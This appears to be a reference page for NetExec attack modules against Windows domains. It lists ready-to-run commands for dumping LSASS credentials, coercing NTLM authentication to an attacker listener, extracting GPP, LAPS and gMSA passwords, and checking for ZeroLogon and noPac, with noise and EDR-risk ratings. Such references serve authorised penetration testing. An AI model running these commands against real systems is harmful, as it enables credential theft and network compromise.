Back to All Modules

NetExec Modules Reference

#Overview

NetExec's modular architecture allows community-contributed attack modules to run against targets. Each module is protocol-specific and provides automated attack capabilities — from credential dumping to vulnerability scanning. This reference catalogs all key built-in modules with their protocol, purpose, OPSEC risk, and usage.

#Module Discovery

# List all available modules for a protocol
netexec smb -L
#   Shows: module name, description, author

# List modules for other protocols
netexec ldap -L
netexec winrm -L
netexec mssql -L
netexec ssh -L

# Get detailed options for a specific module
netexec smb -M lsassy --options
#   Shows: configurable parameters, default values, descriptions
BASH

#Module Usage Pattern

netexec <protocol> <target> -u <user> -p <pass> -M <module_name> [-o KEY=VALUE]
#   -M <module>  -> module name (case-sensitive)
#   -o KEY=VALUE -> module options (comma-separated for multiple)
BASH

#SMB Modules

#lsassy — Remote LSASS Credential Dump

AttributeValue
PurposeRemotely dump LSASS process memory and extract credentials
PrivilegeLocal Administrator
NoiseHigh (LSASS access, EDR trigger)
OutputPlaintext passwords, NTLM hashes, Kerberos tickets from LSASS
netexec smb 10.10.10.5 -u admin -p pass -M lsassy
netexec smb 10.10.10.5 -u admin -p pass -M lsassy -o METHOD=2    # dumpert method
BASH

#spider_plus — Recursive Share Crawler

AttributeValue
PurposeRecursively list and download files from accessible shares
PrivilegeAny valid credential with share read access
NoiseMedium (high SMB file listing traffic)
OutputFile listings, downloaded files matching patterns
netexec smb 10.10.10.5 -u user -p pass -M spider_plus
netexec smb 10.10.10.5 -u user -p pass -M spider_plus -o PATTERN='*.kdbx,*.xml,*.config,*.ps1'
BASH

#scuffy — SMB Signing Check

AttributeValue
PurposeCheck SMB signing status (identify relay targets)
PrivilegeNone (unauthenticated)
NoiseLow (SMB negotiation)
Outputsigning:True or signing:False per target
netexec smb 10.10.10.0/24 -u '' -p '' -M scuffy
BASH

#wcc — WebClient (WebDAV) Check

AttributeValue
PurposeCheck if WebClient service is running (coercion prerequisite)
PrivilegeNone (unauthenticated)
NoiseLow
OutputWebClient:Running or WebClient:Stopped per target
netexec smb 10.10.10.0/24 -u '' -p '' -M wcc
BASH

#bloodhound — BloodHound Collector (SMB)

AttributeValue
PurposeCollect BloodHound data via SMB (requires SharpHound on target)
PrivilegeValid domain credentials
NoiseHigh (binary execution on target)
OutputBloodHound JSON files
netexec smb 10.10.10.5 -u user -p pass -M bloodhound -o COLLECTION_METHOD='All'
BASH

#nanodump — LSASS Dump Variant

AttributeValue
PurposePowerShell-based LSASS dump (alternative to lsassy)
PrivilegeLocal Administrator
NoiseMedium (PowerShell execution)
OutputLSASS minidump
netexec smb 10.10.10.5 -u admin -p pass -M nanodump
BASH

#handlekatz — Mimikatz via Handle Duplication

AttributeValue
PurposeExecute Mimikatz using handle duplication (bypasses some EDR)
PrivilegeLocal Administrator
NoiseHigh
OutputLSASS credentials
netexec smb 10.10.10.5 -u admin -p pass -M handlekatz
BASH

#nopac — CVE-2021-42278/42287 Check

AttributeValue
PurposeCheck for noPac vulnerability (samAccountName spoofing)
PrivilegeValid domain credentials
NoiseMedium (machine account creation)
OutputVulnerable/Not Vulnerable
netexec smb 10.10.10.5 -u user -p pass -M nopac
BASH

#petitpotam — Coerce Authentication

AttributeValue
PurposeCoerce target to authenticate to attacker (EFSRPC method)
PrivilegeNone (unauthenticated)
NoiseMedium
OutputIncoming NTLM authentication to specified listener
netexec smb 10.10.10.5 -u '' -p '' -M petitpotam -o LISTENER=10.10.14.5
BASH

#dfscoerce — DFS Coerce Authentication

AttributeValue
PurposeCoerce authentication via DFS-RPC (NetrDfsRemoveStdRoot)
PrivilegeNone (unauthenticated)
NoiseMedium
OutputIncoming NTLM authentication
netexec smb 10.10.10.5 -u '' -p '' -M dfscoerce -o LISTENER=10.10.14.5
BASH

#shadowcoerce — Shadow Copy Coerce

AttributeValue
PurposeCoerce authentication via FSRVP (Shadow Copy RPC)
PrivilegeValid domain credentials
NoiseMedium
OutputIncoming NTLM authentication
netexec smb 10.10.10.5 -u user -p pass -M shadowcoerce -o LISTENER=10.10.14.5
BASH

#zerologon — CVE-2020-1472 Check

AttributeValue
PurposeCheck for ZeroLogon vulnerability (Netlogon bypass)
PrivilegeNone (unauthenticated)
NoiseLow (single RPC call)
OutputVulnerable/Patched
netexec smb 10.10.10.5 -u '' -p '' -M zerologon
BASH

#gpp_password — Group Policy Preferences Password Extraction

AttributeValue
PurposeFind and decrypt GPP passwords from SYSVOL shares
PrivilegeAny authenticated domain user
NoiseLow (SMB file read)
OutputPlaintext passwords from GPP XML files
netexec smb 10.10.10.5 -u user -p pass -M gpp_password
BASH

#gpp_autologin — GPP Auto-Logon Credentials

AttributeValue
PurposeExtract auto-logon credentials from GPP
PrivilegeAny authenticated domain user
NoiseLow
OutputAuto-logon username/password
netexec smb 10.10.10.5 -u user -p pass -M gpp_autologin
BASH

#enum_av — Antivirus Enumeration

AttributeValue
PurposeEnumerate installed AV/EDR products
PrivilegeValid credentials with WMI access
NoiseLow
OutputAV product name, version, status
netexec smb 10.10.10.5 -u user -p pass -M enum_av
BASH

#enum_dns — DNS Enumeration

AttributeValue
PurposeEnumerate DNS records via SMB/RPC
PrivilegeValid domain credentials
NoiseLow
OutputDNS zones, records
netexec smb 10.10.10.5 -u user -p pass -M enum_dns
BASH

#LDAP Modules

#adcs — ADCS Enumeration

AttributeValue
PurposeEnumerate ADCS infrastructure and vulnerable templates
PrivilegeAny authenticated domain user
NoiseLow (LDAP reads)
OutputCA servers, templates, ESC1–ESC15 vulnerability flags
netexec ldap 10.10.10.5 -u user -p pass -M adcs
BASH

#laps — LAPS Password Enumeration

AttributeValue
PurposeEnumerate LAPS-managed computers and read passwords
PrivilegeDomain user (read requires LAPS reader permission)
NoiseLow (LDAP reads)
OutputComputer list with LAPS status, passwords (if authorized)
netexec ldap 10.10.10.5 -u user -p pass -M laps
netexec ldap 10.10.10.5 -u laps_reader -p pass -M laps -o READ=true
BASH

#delegation — Delegation Enumeration

AttributeValue
PurposeEnumerate all delegation types (unconstrained, constrained, RBCD)
PrivilegeAny authenticated domain user
NoiseLow (LDAP reads)
OutputComputers/users with delegation configured, delegation type
netexec ldap 10.10.10.5 -u user -p pass -M delegation
BASH

#bloodhound — BloodHound Collector (LDAP)

AttributeValue
PurposeCollect BloodHound data via LDAP (no on-target execution)
PrivilegeAny authenticated domain user
NoiseMedium (high-volume LDAP queries)
OutputBloodHound-compatible JSON files
netexec ldap 10.10.10.5 -u user -p pass -M bloodhound
netexec ldap 10.10.10.5 -u user -p pass -M bloodhound -o COLLECTION_METHOD='ACL,Group,Trusts'
BASH

#gmsa — gMSA Password Read

AttributeValue
PurposeRead gMSA managed passwords
PrivilegeDomain user with gMSA read permission
NoiseLow (LDAP read)
OutputgMSA account NTLM hash
netexec ldap 10.10.10.5 -u user -p pass -M gmsa
BASH

#maq — Machine Account Quota

AttributeValue
PurposeCheck Machine Account Quota (for RBCD attacks)
PrivilegeAny authenticated domain user
NoiseLow (LDAP read)
OutputMAQ value (default: 10)
netexec ldap 10.10.10.5 -u user -p pass -M maq
BASH

#subnet — Subnet Enumeration

AttributeValue
PurposeEnumerate AD Sites and Services subnets
PrivilegeAny authenticated domain user
NoiseLow (LDAP reads)
OutputSubnet definitions, site associations
netexec ldap 10.10.10.5 -u user -p pass -M subnet
BASH

#trusts — Domain Trust Enumeration

AttributeValue
PurposeEnumerate domain and forest trusts
PrivilegeAny authenticated domain user
NoiseLow (LDAP reads)
OutputTrusted domains, trust direction, SID filtering status
netexec ldap 10.10.10.5 -u user -p pass -M trusts
BASH

#user-desc — User Description Password Search

AttributeValue
PurposeSearch user description fields for passwords
PrivilegeAny authenticated domain user
NoiseLow (LDAP reads)
OutputUsers with passwords in description field
netexec ldap 10.10.10.5 -u user -p pass -M user-desc
BASH

#get-desc-users — Get Users with Specific Description

AttributeValue
PurposeSearch for users by description keyword
PrivilegeAny authenticated domain user
NoiseLow
OutputUsers matching description filter
netexec ldap 10.10.10.5 -u user -p pass -M get-desc-users -o KEYWORD='admin'
BASH

#group-mem — Group Membership Enumeration

AttributeValue
PurposeEnumerate members of specific groups
PrivilegeAny authenticated domain user
NoiseLow
OutputGroup members
netexec ldap 10.10.10.5 -u user -p pass -M group-mem -o GROUP='Domain Admins'
BASH

#MSSQL Modules

#mssql_priv — Privilege Check

AttributeValue
PurposeCheck SQL user privilege level (sysadmin, db_owner, etc.)
PrivilegeValid SQL credentials
NoiseLow (SQL queries)
Outputsysadmin:True/False, db_owner roles
netexec mssql 10.10.10.5 -u sa -p pass -M mssql_priv
BASH

#mssql_linked_servers — Linked Server Enumeration

AttributeValue
PurposeEnumerate linked SQL servers (trust relationships)
PrivilegeValid SQL credentials
NoiseLow (SQL queries)
OutputLinked server names, connection strings
netexec mssql 10.10.10.5 -u sa -p pass -M mssql_linked_servers
BASH

#RDP Modules

#rdp_screenshot — Screenshot Capture

AttributeValue
PurposeCapture screenshot of active RDP session
PrivilegeValid RDP credentials
NoiseMedium (brief RDP connection)
OutputPNG screenshot
netexec rdp 10.10.10.5 -u user -p pass -M rdp_screenshot
BASH

#VNC Modules

#vnc_screenshot — Screenshot Capture

AttributeValue
PurposeCapture screenshot of VNC session
PrivilegeValid VNC password
NoiseLow
OutputPNG screenshot
netexec vnc 10.10.10.5 -u '' -p pass -M vnc_screenshot
BASH

#SSH Modules

#sudo_check — Sudo Privilege Check

AttributeValue
PurposeCheck sudo privileges for authenticated user
PrivilegeValid SSH credentials
NoiseLow (single command execution)
Outputsudo -l output
netexec ssh 10.10.10.5 -u user -p pass -M sudo_check
BASH

#Module Risk Matrix

ModuleProtocolPrivilege RequiredNoiseEDR Risk
scuffySMBNoneLowNone
wccSMBNoneLowNone
zerologonSMBNoneLowNone
petitpotamSMBNoneMediumLow
dfscoerceSMBNoneMediumLow
gpp_passwordSMBDomain UserLowNone
spider_plusSMBDomain UserMediumLow
enum_avSMBDomain UserLowLow
adcsLDAPDomain UserLowNone
lapsLDAPDomain UserLowNone
delegationLDAPDomain UserLowNone
bloodhoundLDAPDomain UserMediumLow
maqLDAPDomain UserLowNone
user-descLDAPDomain UserLowNone
mssql_privMSSQLSQL LoginLowNone
sudo_checkSSHSSH UserLowNone
rdp_screenshotRDPRDP UserMediumLow
shadowcoerceSMBDomain UserMediumMedium
nopacSMBDomain UserMediumMedium
bloodhoundSMBDomain UserHighHigh
lsassySMBLocal AdminHighVery High
nanodumpSMBLocal AdminMediumHigh
handlekatzSMBLocal AdminHighVery High

#Writing Custom Modules

NetExec modules are Python classes that inherit from a base module class. They receive the protocol connection context and can execute arbitrary operations.

# Minimal module skeleton
from nxc.modules.base import BaseModule

class Module(BaseModule):
    name = "example"
    description = "Example custom module"
    supported_protocols = ["smb"]
    opsec_safe = True      # Low noise
    multiple_hosts = True  # Can run against multiple targets

    def options(self, context, module_options):
        """Define module options"""
        pass

    def on_login(self, context, connection):
        """Execute when valid credentials are provided"""
        pass

    def on_request(self, context, request):
        """Execute on every request (even without credentials)"""
        pass
PYTHON

Module files are placed in ~/.netexec/modules/ or the NetExec installation modules directory.


#Cross-References

#Tool References